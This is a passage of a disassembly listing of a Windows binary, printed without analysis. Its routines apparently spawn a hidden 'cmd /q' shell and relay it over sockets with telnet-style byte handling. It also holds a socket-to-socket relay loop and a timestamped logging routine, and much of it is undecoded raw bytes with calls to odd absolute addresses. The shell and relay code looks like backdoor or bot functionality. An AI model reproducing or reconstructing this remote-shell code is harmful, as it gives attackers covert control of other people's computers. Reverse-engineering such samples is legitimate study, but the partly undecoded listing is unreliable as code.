		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2680CABh
		test	eax, eax
		jz	short loc_410FDC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E588[eax], ecx
		nop
		call	near ptr 26809B4h
		jmp	short loc_410FF2
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410F20+9Aj
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset unk_434B5C
		call	sub_415221
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF2:				; CODE XREF: sub_410F20+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF9	proc near		; DATA XREF: sub_410CD6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411022:				; CODE XREF: sub_410FF9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41108A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105D


loc_411033:				; CODE XREF: sub_410FF9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104D
		cmp	dl, 0Dh
		jz	short loc_41104D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104D:				; CODE XREF: sub_410FF9+44j
					; sub_410FF9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411033


loc_41105D:				; CODE XREF: sub_410FF9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB694
		test	eax, eax
		jle	short loc_41108A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411022
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_410FF9+2Dj
					; sub_410FF9+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A6
		call	esi
		push	eax
		push	offset dword_434B9C
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4110A6:				; CODE XREF: sub_410FF9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AB	proc near		; DATA XREF: sub_410CD6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C4:				; CODE XREF: sub_4110AB+39j
					; sub_4110AB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB65C
		test	eax, eax
		jle	loc_4111C9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E6
		dec	[ebp+var_10]
		jmp	short loc_4110C4
; ---------------------------------------------------------------------------


loc_4110E6:				; CODE XREF: sub_4110AB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411156
		cmp	al, 7Fh
		jz	short loc_411156
		cmp	al, 3
		jnz	short loc_411111
		push	ebx
		push	ebx
		call	near ptr 27C0000h
		nop
		jmp	short loc_41117D
; ---------------------------------------------------------------------------


loc_411111:				; CODE XREF: sub_4110AB+5Aj
		cmp	al, 15h
		jnz	short loc_411133
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411133:				; CODE XREF: sub_4110AB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_41116A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411156:				; CODE XREF: sub_4110AB+52j
					; sub_4110AB+56j
		cmp	esi, ebx
		jbe	short loc_411180
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411169:				; CODE XREF: sub_4110AB+86j
					; sub_4110AB+A9j
		pop	ecx


loc_41116A:				; CODE XREF: sub_4110AB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB694
		test	eax, eax
		jle	short loc_4111C9


loc_41117D:				; CODE XREF: sub_4110AB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411180:				; CODE XREF: sub_4110AB+ADj
		cmp	al, 0Dh
		jnz	loc_4110C4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_4111C9
		xor	esi, esi
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111A9:				; CODE XREF: sub_4110AB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111BA
		mov	[ebp+var_C], 1
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110AB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_4110AB+2Bj
					; sub_4110AB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AB	endp

; ---------------------------------------------------------------------------
word_4111CE	dw 8B55h		; DATA XREF: sub_401ACD+2C08o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB644h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0B6C415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E58Ch,	50EC458Dh, 7015FF57h, 85004CB6h
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB66Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0AC68FFFFh, 500042BFh, 0A605E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CB6D815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0D015FFE0h, 50004CB6h, 0FD2C858Dh, 4868FFFFh, 5000434Ch
		dd 0A599E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF9DFBh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E58488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 13D36850h, 56560041h
		dd 0ECD6E890h, 4D8B0228h, 34C969C8h, 3B000002h,	948189C6h
		dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	27FC16E8h
		dd 0EDEB9002h, 0F55BE890h, 8D500228h, 0FFFD2C85h, 4C0C68FFh
		dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0DC15FF57h
		dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BD868h, 0FBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
		dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
		dd 59FFFFA0h, 5AE85659h, 90022EF7h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E58Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB62Ch, 1875C085h, 15FF36FFh, 4CB6DCh, 0E80875FFh
		dd 0FFFF9FC7h, 0E8905359h, 22EF6D5h, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB65C15h,	7FC08500h, 0FF36FF18h
		dd 4CB6DC15h, 875FF00h,	0FF9F96E8h, 0E85359FFh,	22EF6A5h
		dd 30BD8090h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 4D106850h, 52E80043h, 6800003Dh,	400h, 0FB38858Dh
		dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
		dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 9415FF36h
		dd 0FF004CB6h, 0DC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
		dd 0EE89053h, 6A022EF6h, 0E8458D10h, 69E85053h,	660000A0h
		dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
		dd 26A5706h, 0E845C766h, 45890002h, 0C415FFECh,	8B004CB6h
		dd 0FFFF83F8h, 15FF5D75h, 4CB5D8h, 4CD06850h, 0BAE80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 9415FF36h, 0FF004CB6h, 0DC15FF36h
		dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 76E89053h,	8D022EF5h
		dd 106AE845h, 15FF5750h, 4CB5ECh, 75FFF883h, 0D815FF5Dh
		dd 50004CB5h, 434C8C68h, 3C4BE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B69415FFh, 36FF004Ch, 0B6DC15FFh, 75FF004Ch, 9DF9E808h
		dd 5359FFFFh, 0F507E890h, 68022Eh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F4FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0B69415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 0DC15FF57h, 0FF004CB6h
		dd 0DC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 0AAE89053h
		dd 0FF022EF4h, 0DC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
		dd 0F493E853h
		db 2Eh,	2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AD:				; CODE XREF: ___:0041175Cj
					; ___:0041178Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C5:				; CODE XREF: ___:004116D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C5


loc_4116D5:				; CODE XREF: ___:004116CAj
		cmp	ecx, 1
		jnz	short loc_4116EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116EA:				; CODE XREF: ___:004116D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB62C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB530
		test	eax, eax
		jz	short loc_41174A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB65C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792


loc_41174A:				; CODE XREF: ___:0041171Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB530
		test	eax, eax
		jz	loc_4116AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB65C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AD


loc_411792:				; CODE XREF: ___:00411731j
					; ___:00411748j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_411797	db 55h			; DATA XREF: sub_401ACD+210Eo
					; sub_40BACE+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6C415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	227F777h
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
		dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
		dd 9BE5E8FFh, 5959FFFFh, 0F2E89053h, 8D022EF2h,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB624h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB624h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E58CB0h, 0D4458D00h, 9D16E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 4415FFFFh
		dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 7015FFD8h
		dd 83004CB6h, 1975FFF8h, 138868h, 0B0E89000h, 0FF0227F6h
		dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 27F67EE8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh, 858DFFFFh
		dd 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h, 0FF9AF6E8h
		dd 1CC483FFh, 2E89053h,	8B022EF2h, 9F39087Dh, 2A0h, 295840Fh
		dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh,	5E445C7h
		dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
		dd 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h, 8D5350E4h
		dd 0FFF78485h, 535053FFh, 0B62C15FFh, 0C085004Ch, 2398E0Fh
		dd 0F8A00000h, 8B0043D7h, 888588CFh, 33FFFFFAh,	89BD8DC0h
		dd 0C7FFFFFAh, 10F445h,	0ABF30000h, 8DAAAB66h, 8D50F445h
		dd 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h,	1C15FF56h
		dd 0FF004CB6h, 4589C875h, 0D015FFF8h, 50004CB6h, 50B0458Dh
		dd 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h, 80000001h
		dd 0FFFF31BDh, 850F01FFh, 0BBh,	0FD94858Dh, 0E850FFFFh
		dd 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h, 8C858DFCh
		dd 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh, 20068h
		dd 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh, 96E0E801h
		dd 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h, 505351F4h
		dd 0FA88858Dh, 5650FFFFh, 0B6A815FFh, 458D004Ch, 858D50B0h
		dd 0FFFFF888h, 434D7C68h, 17E85000h, 8300009Eh,	9D390CC4h
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h, 80000001h
		dd 0FFFF31BDh, 850F04FFh, 0EDh,	0FF338D8Ah, 858AFFFFh
		dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
		dd 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh,	0EFE85001h
		dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh,	478D50F4h
		dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6A815h, 75FB3B00h
		dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434D5Ch, 9D20E850h
		dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h,	0FFFFF888h
		dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
		dd 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 360Dh
		dd 0E14C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
		dd 434D50h, 0A815FF56h,	39004CB6h, 8F0FF85Dh, 0FFFFFD5Fh
		dd 56087D8Bh, 0B6DC15FFh, 75FF004Ch, 9481E8FCh,	8DFF0000h
		dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
		dd 0FFFF981Fh, 0E8905359h, 22EEF2Dh, 3E868h, 5CE89000h
		dd 570227F3h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 27C016Fh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2690B48h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_43553C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429114
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7B
		push	1
		pop	eax
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411C7B:				; CODE XREF: ___:00411C74j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CF0
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43550C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A73
		add	esp, 24h


loc_411CF0:				; CODE XREF: ___:00411CB7j
		xor	eax, eax


loc_411CF2:				; CODE XREF: ___:00411C79j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
byte_411CF5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4509o
		dd 8DCEC81h, 458B0000h,	57565308h, 0F724A583h, 6A00FFFFh
		dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
		dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
		dd 0C815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h,	0E015FFF8h
		dd 0BB004CB5h, 200h, 0E890086Ah, 227F20Bh, 0B5C815FFh
		dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0E015FFF8h
		dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh,	0FFFFFB24h
		dd 43556C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
		dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
		dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
		dd 0A4C481h, 858D0000h,	0FFFFFB24h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0A40845C7h, 6A00434Dh, 1815FF10h,	0F004CB5h
		dd 458BF0BFh, 0FC788B08h, 1015FF57h, 0F6004CB6h, 7B7480C4h
		dd 15FF146Ah, 4CB518h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
		dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
		dd 17Fh, 15FF146Ah, 4CB518h, 74C08566h,	7DF6851Eh, 40FF832Eh
		dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
		dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
		dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
		dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
		dd 208300h, 0FD24858Dh,	0FF83FFFFh, 13755008h, 913FE8h
		dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
		dd 1B93Dh, 25765900h, 0B5C815FFh, 4D8D004Ch, 513C6AB8h
		dd 0E015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 546850FFh
		dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
		dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5C815h
		dd 0B84D8D00h, 50513C6Ah, 0B5E015FFh, 458D004Ch, 858D50B8h
		dd 0FFFFFD24h, 55406850h, 858D0043h, 0FFFFFB24h, 9958E850h
		dd 0EC810000h, 84h, 0FF24B58Dh,	858DFFFFh, 0FFFFFB24h
		dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
		dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
		dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
		dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
		dd 458B07EBh, 7C08308h,	24858D50h, 50FFFFFDh, 9F1BE8h
		dd 83595900h, 81140845h, 54D4087Dh, 8C0F0043h, 0FFFFFE27h
		dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
		dd 6A59FFh, 2EEB54E8h
		db 2, 90h
word_411FD6	dw 8B55h		; DATA XREF: sub_401ACD+412Bo
		dd 2B4B8ECh, 3DE80001h,	8B00009Bh, 57560855h, 8B58016Ah
		dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h,	9082h
		dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h,	0C7660CC4h
		dd 2E445h, 4415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
		dd 8BE2E8E6h, 5059FFFFh, 0B68415FFh, 6A56004Ch,	89026A03h
		dd 15FFE845h, 4CB6C4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
		dd 4CB5D8h, 4C858D50h, 68FFFFFDh, 435EDCh, 9820E850h, 0C4830000h
		dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
		dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
		dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h,	5959FFFFh
		dd 7EE89056h, 8B022EEAh, 106AD045h, 234C069h, 0B8890000h
		dd 43E58Ch, 50E4458Dh, 7015FF57h, 83004CB6h, 6475FFF8h
		dd 0B5D815FFh, 8D50004Ch, 0FFFD4C85h, 5EB068FFh, 0E8500043h
		dd 97A2h, 390CC483h, 2075D875h,	4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
		dd 4CB6DCh, 0E8D075FFh,	0FFFF92EBh, 0FAE85659h,	90022EE9h
		dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
		dd 0B5F015FFh, 0F883004Ch, 0FF6475FFh, 4CB5D815h, 858D5000h
		dd 0FFFFFD4Ch, 435E8068h, 1FE85000h, 83000097h,	75390CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
		dd 12E850FFh, 59000030h, 0DC15FF57h, 0FF004CB6h, 68E8D075h
		dd 59FFFF92h, 0E977E856h, 5390022Eh, 435598BBh,	0FFFFBF00h
		dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
		dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB65C15h, 0FFF88300h
		dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h,	0FEFD5885h
		dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
		dd 435E74h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
